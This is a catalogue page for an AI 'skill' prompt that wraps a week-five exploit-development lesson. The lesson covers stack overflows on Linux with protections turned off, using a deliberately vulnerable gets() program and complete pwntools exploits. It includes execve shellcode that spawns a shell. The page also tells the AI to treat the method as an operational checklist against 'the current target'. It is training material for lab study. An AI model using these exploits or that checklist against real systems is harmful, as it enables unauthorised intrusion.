/Catalogue/Prompt/SnailSploit/snailsploit-claude-red-offensive-basic-exploitation

Origin: github

offensive-basic-exploitation

## Metadata - **Skill Name**: basic-exploitation - **Folder**: offensive-basic-exploitation - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/5-basic-exploitation.md

by SnailSploit · updated 5d ago · imported from GitHub

Installs0+0/7d
Security score75/100
Retention 14d0%
GitHub stars6.9K

Skill logic

Execution graph
User message
Prompt rewrites behaviour
Response

SKILL.md

View on GitHub ↗

SKILL: Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Metadata

Description

Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.

Trigger Phrases

Use this skill when the conversation involves any of: basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5

Instructions for Claude

When this skill is active:

  1. Load and apply the full methodology below as your operational checklist
  2. Follow steps in order unless the user specifies otherwise
  3. For each technique, consider applicability to the current target/context
  4. Track which checklist items have been completed
  5. Suggest next steps based on findings

Full Methodology

Week 5: Basic Exploitation (Linux with Mitigations Disabled)

Overview

created by AnotherOne from @Pwn3rzs Telegram channel.

Now that you can find and analyze vulnerabilities (Week 2 & 4), it's time to learn exploitation. This week focuses on fundamental exploitation techniques in a simplified Linux environment with modern mitigations (DEP, ASLR, stack canaries) disabled. Mastering these basics is essential before tackling mitigation bypasses in Week 7.

Next week (Week 6) we'll focus on understanding mitigations in both Linux and Windows. Week 7 will cover bypassing them.

Learning Environment:

  • CPU arch (default): amd64 (x86-64)
  • OS: Ubuntu 24.04 LTS (Linux)
  • Compiler Flags: Disable protections (-fno-stack-protector, -no-pie, -z execstack for ret2shellcode labs, /GS-)
  • ASLR: Keep enabled system-wide; disable per-process (setarch -R) or in GDB (set disable-randomization on) for deterministic labs
  • Focus: Pure exploitation techniques without bypass complexity

Day 1: Environment Setup and Stack Overflow Fundamentals

  • Goal: Set up exploitation lab and understand stack buffer overflow mechanics.
  • Activities:

Context: QNAP Stack Overflow (CVE-2024-27130)

  • Recall the QNAP QTS Stack Overflow from Week 1? That was a classic stack buffer overflow caused by strcpy without bounds checking—exactly what we'll be exploiting today.
  • While modern systems have mitigations (which we'll disable for now), the underlying mechanic remains the same: overwriting the return address to hijack control flow.

Deliverables

  • Environment: ~/check_env.sh passes and you recorded its output
  • Binary: vuln1 built and verified with checksec
  • Primitive proof: RIP control demonstrated (controlled crash address)
  • Exploit: exploit1.py (or equivalent) spawns a shell reliably
  • Notes: brief writeup covering offset, return target, and payload layout

Setting Up the Lab Environment

Ubuntu VM Configuration:

[!IMPORTANT] ASLR Policy: Keep ASLR enabled system-wide for security. Disable only per-process for labs. Never disable ASLR globally on a machine connected to the internet.

# ============================================================
# ASLR CONFIGURATION (Per-Process Only - Do NOT disable globally!)
# ============================================================
# Option 0: Disable ASLR system-wide
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo "kernel.randomize_va_space = 0" | sudo tee /etc/sysctl.d/99-disable-aslr.conf
# sudo sysctl --system

# Option 1: Disable in GDB (recommended for debugging)
# In GDB/pwndbg:
# (gdb) set disable-randomization on    # Default in GDB
# (gdb) set disable-randomization off   # If you want ASLR during debug

# Option 2: Disable for a single binary run
setarch x86_64 -R ./binary

# Option 3: In pwntools (for local process only)
# p = process('./binary', aslr=False)

# VERIFY: Check system ASLR is STILL ENABLED
cat /proc/sys/kernel/randomize_va_space
# Should output: 2 (full ASLR) - DO NOT change this!

# If you previously disabled ASLR system-wide, RE-ENABLE it:
# echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
# sudo rm -f /etc/sysctl.d/99-disable-aslr.conf  # Remove any persistent config

# ============================================================
# INSTALL ESSENTIAL TOOLS
# ============================================================

sudo apt update
sudo apt install -y \
    nasm \
    strace \
    ltrace \
    ruby \
    ruby-dev \
    libc6-dbg \
    checksec \
    patchelf

cd ~/crash_analysis_lab
source .venv/bin/activate
pip install ropgadget

# Install one_gadget (quick shell gadgets)
sudo gem install one_gadget

# Install radare2 (optional but useful)
cd ~/tools
git clone --depth 1 --branch master https://github.com/radareorg/radare2
cd radare2
sys/install.sh

# Check glibc version (important for heap exploitation)
ldd --version
# Ubuntu 24.04 ships with glibc 2.39

# ============================================================
# STANDARDIZED COMPILATION PROFILES (AMD64)
# ============================================================
# Create a Makefile with canonical build profiles for labs:

cat > ~/lab-Makefile << 'MAKEFILE'
# Lab Exploitation Makefile - AMD64 Only
# Usage: make <target> BINARY=myprogram SOURCE=myprogram.c

CC = gcc
SOURCE ?= vuln.c
BINARY ?= vuln

# Base flags for all builds (AMD64)
BASE_CFLAGS = -g -O0 -fno-omit-frame-pointer -fno-stack-protector
BASE_LDFLAGS = -no-pie

# Training profiles:
# 0. disabled: most things disabled
# 1. training-shellcode: NX disabled, for ret2shellcode exercises
# 2. training-rop: NX enabled, for ROP/ret2libc exercises
# 3. training-relro-off: Partial RELRO, for GOT overwrite exercises
# 4. training-full-relro: Full RELRO, to demonstrate GOT write fails
# 5. format-sec: for format-security bugs

disabled: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-shellcode: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -z execstack -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-rop: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-relro-off: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,norelro -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=OFF"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

training-full-relro: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -fcf-protection=none -Wl,-z,relro,-z,now -o $(BINARY) $(SOURCE)
	@echo "Built: NX=ON, Canary=OFF, PIE=OFF, RELRO=FULL (GOT read-only!)"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

format-sec: $(SOURCE)
	$(CC) $(BASE_CFLAGS) $(BASE_LDFLAGS) -w -fcf-protection=none -Wno-format-security -o $(BINARY) $(SOURCE)
	@echo "Built: NX=OFF, Canary=OFF, PIE=OFF, RELRO=Partial"
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

# Show all protections
check:
	@checksec --file=$(BINARY) 2>/dev/null || pwn checksec $(BINARY)

clean:
	rm -f $(BINARY) *.o

.PHONY: disabled training-shellcode training-rop training-relro-off training-full-relro format-sec check clean
MAKEFILE

echo "Makefile created at ~/lab-Makefile"
echo "Copy to your lab directory: cp ~/lab-Makefile ./Makefile"

[!NOTE] Ubuntu 24.04:

  • Uses glibc 2.39 with full safe-linking and removed hooks
  • Requires python3-venv for pip package installation (PEP 668)
  • For classic heap techniques, consider using Docker with older Ubuntu

GDB Enhancement Options

Verify Setup:

mkdir -p exploit
cd exploit
cp ~/lab-Makefile ./Makefile
source ~/crash_analysis_lab/.venv/bin/activate

# Test pwntools
python3 -c "from pwn import *; print('pwntools OK')"

# Test compilation without protections (AMD64)
cat > test.c << 'EOF'
#include <stdio.h>
#include <string.h>
int main() {
    char buf[100];
    gets(buf);  // Vulnerable: reads from stdin, no bounds check
    return 0;
}
EOF

make training-shellcode BINARY=test SOURCE=test.c
#gcc -g -O0 -w -fno-stack-protector -z execstack -no-pie test.c -o test
# Should compile without errors (-w suppresses gets() warning)
# Check binary protections (should all be disabled)
# Use either: checksec (from apt) or pwn checksec (from pwntools)
# checksec --file=./test
# Or: pwn checksec ./test
# Expected output (may vary slightly by checksec version):
#     Arch:       amd64-64-little
#     RELRO:      Partial RELRO
#     Stack:      No canary found
#     NX:         NX unknown - GNU_STACK missing  (effectively disabled via -z execstack)
#     PIE:        No PIE (0x400000)
#     Stack:      Executable
#     RWX:        Has RWX segments
#     SHSTK:      Enabled    (Intel CET Shadow Stack - CPU feature, not binary)
#     IBT:        Enabled    (Intel CET Indirect Branch Tracking)
# Note: "NX unknown" with "Stack: Executable" means shellcode execution works

# ============================================================
# SANITY CHECK SCRIPT (Run Before Each Lab)
# ============================================================
cat > ~/check_env.sh << 'SCRIPT'
#!/bin/bash
# Lab Environment Sanity Check
# Run: ./check_env.sh [binary]

echo "=== Lab Environment Check ==="
echo ""

# System info
echo "[*] System Information:"
echo "    Kernel: $(uname -r)"
echo "    glibc:  $(ldd --version | head -1 | awk '{print $NF}')"
echo ""

# ASLR status
echo "[*] ASLR Status:"
ASLR=$(cat /proc/sys/kernel/randomize_va_space)
case $ASLR in
    0) echo "    WARNING: ASLR is DISABLED system-wide (insecure!)" ;;
    1) echo "    Partial ASLR (stack only)" ;;
    2) echo "    Full ASLR enabled (correct for system)" ;;
esac
echo ""

# Binary check
if [ -n "$1" ] && [ -f "$1" ]; then
    echo "[*] Binary Analysis: $1"
    echo "    Architecture: $(file "$1" | grep -oE '(32|64)-bit')"
    checksec --file="$1" 2>/dev/null || pwn checksec "$1" 2>/dev/null
    echo ""
fi

# GDB randomization
echo "[*] GDB ASLR (check inside GDB with 'show disable-randomization'):"
echo "    Default: ON (disabled randomization = deterministic addresses)"
echo ""

echo "[+] Environment check complete."
echo "    For per-process ASLR disable: setarch x86_64 -R ./binary"
echo "    Or in pwntools: process('./binary', aslr=False)"
SCRIPT
chmod +x ~/check_env.sh
echo "Sanity check script created: ~/check_env.sh"
~/check_env.sh

pwntools Essentials

Before diving into exploitation, master these pwntools fundamentals. The ELF() class is your primary interface for analyzing binaries—use it throughout this course.

ELF() Basics:

cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
cp ~/crash_analysis_lab/vuln_no_protect .
#!/usr/bin/env python3
# ~/exploit/1.py
from pwn import *

# Load the binary and set context
elf = ELF('./vuln_no_protect')
context.binary = elf   # Auto-sets arch, os, endian, bits
context.arch = 'amd64' # Explicit (redundant if context.binary is set)

# Binary metadata (always check these first!)
print(f"Architecture: {elf.arch}")          # amd64
print(f"Bits: {elf.bits}")                   # 64
print(f"Endian: {elf.endian}")               # little
print(f"PIE enabled: {elf.pie}")             # True/False
print(f"Entry point: {hex(elf.entry)}")      # Where execution starts

# Security mitigations (same as checksec)
print(elf.checksec())

# Symbol lookup - CRITICAL for exploitation
print(f"main @ {hex(elf.symbols['main'])}")
print(f"vulnerable_function @ {hex(elf.symbols['stack_overflow'])}")

# Find imported functions (from libc)
print(f"puts@plt: {hex(elf.plt['puts'])}")   # PLT stub
print(f"puts@got: {hex(elf.got['puts'])}")   # GOT entry

# Find gadgets and strings
print(f"'/bin/sh' in binary: {hex(elf.search(b'/bin/sh').__next__())}" if b'/bin/sh' in elf.data else "Not found")

# For binaries linked with libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print(f"system in libc: {hex(libc.symbols['system'])}")
print(f"/bin/sh in libc: {hex(next(libc.search(b'/bin/sh')))}")

Context Configuration (set BEFORE any pwntools operations):

# ~/exploit/2.py
from pwn import *

# === CRITICAL: Set context from binary (AMD64) ===
elf = ELF('./vuln_no_protect')
context.binary = elf     # Sets arch='amd64', os='linux', endian='little' automatically!

# Or set explicitly (redundant if context.binary is set)
# context.arch = 'amd64'
# context.os = 'linux'
# context.endian = 'little'

# Logging level
context.log_level = 'debug'  # Show all pwntools output
context.log_level = 'info'   # Normal output (default)
context.log_level = 'error'  # Only errors

# Data packing (architecture-aware after setting context)
addr = p64(0xdeadbeef)        # Pack 64-bit address (little-endian) - AMD64
val = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 8 bytes to integer

Understanding the Stack (AMD64)

Stack Layout (x86-64 / AMD64):

High Memory
┌─────────────────────┐
│  Command-line args  │
├─────────────────────┤
│  Environment vars   │
├─────────────────────┤
│        ...          │
├─────────────────────┤
│   Stack Frame N     │
│  ┌───────────────┐  │
│  │   Locals      │  │ ← RSP (Stack Pointer)
│  ├───────────────┤  │
│  │   Saved RBP   │  │ ← RBP (Base Pointer)
│  ├───────────────┤  │
│  │   Return Addr │  │ ← Overwrite target! (8 bytes on AMD64)
│  ├───────────────┤  │
│  │   (Args 7+)   │  │   (First 6 args in registers!)
│  └───────────────┘  │
├─────────────────────┤
│   Stack Frame N-1   │
├─────────────────────┤
│        ...          │
└─────────────────────┘
Low Memory

AMD64 vs x86 Key Differences:

Featurex86 (32-bit)AMD64 (64-bit)
Register prefixE (EAX, EBP, ESP)R (RAX, RBP, RSP)
Instruction pointerEIPRIP
Address size4 bytes8 bytes
ArgumentsAll on stackRDI, RSI, RDX, RCX, R8, R9
Return valueEAXRAX
Syscall instructionint 0x80syscall
Stack alignment4-byte16-byte before call

System V AMD64 ABI Calling Convention:

; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
;   RDI = arg1
;   RSI = arg2
;   RDX = arg3
;   RCX = arg4
;   R8  = arg5
;   R9  = arg6
;   stack = arg7+ (pushed right-to-left)
; Return value: RAX

; Example: write(1, buf, len)
mov rdi, 1        ; fd = stdout
mov rsi, buf      ; buffer address
mov rdx, len      ; length
call write

; Syscall convention (slightly different):
;   RAX = syscall number
;   RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
;   syscall instruction (not int 0x80)

Function Call Mechanics (AMD64):

; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function      ; Pushes 8-byte return address

; Inside function
function:
    push rbp          ; Save old base pointer (8 bytes)
    mov rbp, rsp      ; Set new base pointer
    sub rsp, 0x40     ; Allocate space for locals (must maintain 16-byte alignment)

    ; Function body...

    mov rsp, rbp      ; Restore stack pointer (or: leave)
    pop rbp           ; Restore base pointer
    ret               ; Return (pops return address into RIP)

Buffer Overflow Visualization (AMD64):

Before overflow:
┌──────────────────┐
│   buffer[64]     │ ← strcpy writes here
├──────────────────┤
│   saved RBP      │  (8 bytes on AMD64)
├──────────────────┤
│  return address  │  (8 bytes on AMD64)
└──────────────────┘

After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA...    │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA         │ ← return address overwritten! (8 bytes)
└──────────────────┘

When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)

First Vulnerable Program

vuln1.c:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
    char buffer[64];
    printf("Enter input: ");
    gets(buffer);  // Vulnerable! No bounds checking, allows null bytes
    printf("You entered: %s\n", buffer);
}

// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
    __asm__("jmp *%rsp");  // This creates a jmp rsp gadget
}

int main() {
    printf("Buffer overflow example\n");
    vulnerable_function();
    printf("Returned safely\n");
    return 0;
}

Compile without protections (AMD64):

cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
#    -fno-stack-protector \
#    -fcf-protection=none \
#    -z execstack \
#    -no-pie \
#    -o vuln1 \
#    vuln1.c
#checksec --file=./vuln1

Finding the Offset

Step 1: Cause a Crash:

# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine

python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault

Step 2: Find Exact Offset (using pattern):

#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *

context.arch = 'amd64'

# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)

# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()

In GDB with pwndbg (AMD64):

gdb ./vuln1

# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")

# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72

# So offset is 72 bytes (64 buffer + 8 saved RBP)

Verify Offset (AMD64):

# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

# Build payload
payload = b"A" * 72                    # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe)     # Overwrite return address (8 bytes)

# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()

In GDB (AMD64):

gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")

# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe   <- We control the return address!

Working Exploit for vuln1 (stdin-based)

#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)

Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *

# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf  # Sets arch=amd64 automatically

# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8  # = 72 bytes to overwrite return address

# ============ EXPLOIT ============
def exploit():
    # For LEARNING: Disable ASLR, clean environment for consistent addresses
    # For PRODUCTION: Use leaks and relative addressing
    # NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
    #       before input is needed (otherwise printf buffers when piped)
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)

    # Alternatively, for remote targets:
    # p = remote('target.host', 1337)

    # Wait for prompt (important for synchronization!)
    p.recvuntil(b'Enter input: ')
    # ============ FIND GADGET ============
    # Our vuln1.c includes a jmp rsp gadget in gadgets()
    # Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
    # Or use pwntools:
    rop = ROP(elf)
    try:
        jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
    except:
        # Fallback: search for the bytes
        jmp_rsp = next(elf.search(asm('jmp rsp')))

    log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")

    # ============ BUILD PAYLOAD ============
    # Shellcode goes AFTER the return address (we jump to RSP)
    shellcode = asm(shellcraft.amd64.linux.sh())
    log.info(f"Shellcode length: {len(shellcode)} bytes")

    payload = b'A' * OFFSET           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Overwrite return address with jmp rsp
    payload += shellcode              # Shellcode right after return addr
                                      # RSP points here after ret!

    log.info(f"Total payload: {len(payload)} bytes")

    # ============ SEND PAYLOAD ============
    # sendline() sends raw bytes over the pipe - null bytes work fine!
    # This is the proper way to deliver exploits
    p.sendline(payload)

    # ============ GET SHELL ============
    log.success("Payload sent! Switching to interactive mode...")
    p.interactive()

def debug():
    """Debug mode - attach GDB manually"""
    p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
    log.info("Run the following commands in a SECOND terminal")
    log.info("gdb -p $(pidof vuln1)")
    log.info("b vulnerable_function")
    log.info("c")
    pause()

    p.recvuntil(b'Enter input: ')
    payload = cyclic(200)
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    if args.GDB:
        debug()
    else:
        exploit()

# Usage:
# python3 exploit_vuln1.py           - Run exploit
# python3 exploit_vuln1.py GDB       - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems

Writing Simple Shellcode

Linux AMD64 Shellcode Basics:

Syscall Convention (AMD64):

  • syscall instruction triggers syscall (NOT int 0x80!)
  • rax = syscall number
  • rdi, rsi, rdx, r10, r8, r9 = arguments (note: r10 instead of rcx)
  • Return value in rax

execve("/bin/sh", NULL, NULL) Shellcode (AMD64):

; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)

section .text
global _start

_start:
    ; Clear registers
    xor rsi, rsi          ; rsi = NULL (argv)
    xor rdx, rdx          ; rdx = NULL (envp)

    ; Push "/bin/sh" onto stack (with NULL terminator)
    xor rax, rax
    push rax              ; NULL terminator
    mov rax, 0x68732f6e69622f2f  ; "//bin/sh" in little-endian
    push rax

    ; Set up execve
    mov rdi, rsp          ; rdi = pointer to "//bin/sh"
    xor rax, rax
    mov al, 59            ; rax = 59 (execve syscall number)

    ; Execute
    syscall               ; Trigger syscall (NOT int 0x80!)

Assemble and Extract Bytes (AMD64):

cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o

# Extract shellcode bytes
objdump -d shellcode -M intel

# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo

Result (23 bytes AMD64 shellcode):

shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"

Test Shellcode Standalone (AMD64):

#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())

# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!

# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
#    f.write(shellcode)

Complete Exploit

exploit1.py (AMD64):

#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)

Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)

Run with: python exploit1.py
"""

from pwn import *

# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64 automatically
offset = 72  # 64 buffer + 8 saved RBP

# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())

def exploit():
    # Start process with ASLR disabled using setarch wrapper
    # env={} clears environment variables for consistent stack addresses
    p = process(['setarch', 'x86_64', '-R', binary], env={})

    # Get buffer address by analyzing a crash:
    # 1. Generate payload with dummy address:
    #    python3 -c "from pwn import *; ..." > payload.bin
    # 2. Run and get core dump:
    #    ulimit -c unlimited
    #    env -i setarch x86_64 -R ./vuln1 < payload.bin
    # 3. Analyze core to find actual buffer location:
    #    gdb ./vuln1 core
    #    RSP after ret shows where we are on stack
    #    Buffer = (saved RBP location) - 0x40
    #
    # Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
    # found in GDB need adjustment for standalone execution.
    buffer_addr = 0x7fffffffecc0

    # Build payload:
    # [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
    payload = b"\x90" * 16            # NOP sled for tolerance
    payload += shellcode              # Stack pivot + shellcode
    payload += b"A" * (offset - len(payload))  # Padding to fill offset
    payload += p64(buffer_addr)       # Return to start of buffer (8 bytes)

    log.info(f"Shellcode length: {len(shellcode)}")
    log.info(f"Total payload: {len(payload)}")
    log.info(f"Jumping to: {hex(buffer_addr)}")

    # Send payload via stdin
    p.sendline(payload)

    # Interact with shell
    p.interactive()

if __name__ == "__main__":
    exploit()

Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):

[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A jmp rsp or call rsp gadget provides a stable return target since RSP points to our controlled data after ret.

#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)

This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *

binary = './vuln1'
elf = ELF(binary)
context.binary = elf  # Sets arch=amd64

def find_jmp_rsp():
    """Find a jmp rsp or call rsp gadget in the binary"""
    # Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
    try:
        jmp_rsp = next(elf.search(asm('jmp rsp')))
        log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
        return jmp_rsp
    except StopIteration:
        pass

    try:
        call_rsp = next(elf.search(asm('call rsp')))
        log.success(f"Found call rsp at {hex(call_rsp)}")
        return call_rsp
    except StopIteration:
        pass

    # Try ROPgadget as fallback
    log.warning("No jmp/call rsp in binary, trying ROPgadget...")
    # Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
    return None

def exploit():
    offset = 72  # 64 buffer + 8 saved RBP (AMD64)

    # Find jmp rsp gadget
    jmp_rsp = find_jmp_rsp()
    if not jmp_rsp:
        log.error("No jmp rsp gadget found! Use fixed address method instead.")
        return

    # Shellcode (placed AFTER return address)
    shellcode = asm(shellcraft.amd64.linux.sh())

    # Payload layout:
    # [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
    # After ret: RIP = jmp_rsp, RSP points to nop sled
    payload = b"A" * offset           # Fill buffer + saved RBP
    payload += p64(jmp_rsp)           # Return to jmp rsp (8 bytes!)
    payload += b"\x90" * 16           # NOP sled (RSP lands here)
    payload += shellcode              # Shellcode executes

    # Launch and send via stdin
    p = process(binary)
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()

Debugging Your Exploit

When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.

Method 1: GDB Attach with pwntools

#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *

elf = ELF('./vuln1')
context.binary = elf  # Sets arch=amd64

# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})

# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")

# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)

# Interact with the process
p.interactive()

Usage:

# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...

# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload

Example Debug Session Output:

After hitting the breakpoint at ret, you'll see something like:

pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00      0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e      0x4141414141414141  <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141      0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141      0x4141414141414141  <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe      0x00007ffd11d25d00  <- Return address (overwritten)

Interpreting the output:

  • Buffer address: 0x7ffd11d25cd0 (first A's at offset 0x8 from 0x7ffd11d25cc8)
  • Our A's (0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP
  • Return address at 0x7ffd11d25d18 contains our value 0xdeadbeefcafe
  • Offset confirmed: 72 bytes (64 buffer + 8 saved RBP) before return address

Method 2: Step-by-Step GDB Analysis (AMD64)

# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1

# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run

# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location

# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60

# Find buffer address:
pwndbg> print $rbp - 0x40             # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72

# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)

# For automated testing with payload file:
#pwndbg> run < payload.bin

Common Debugging Scenarios:

SymptomLikely CauseDebug Command
Crash at wrong addressOffset incorrectcyclic -l <crash_addr>
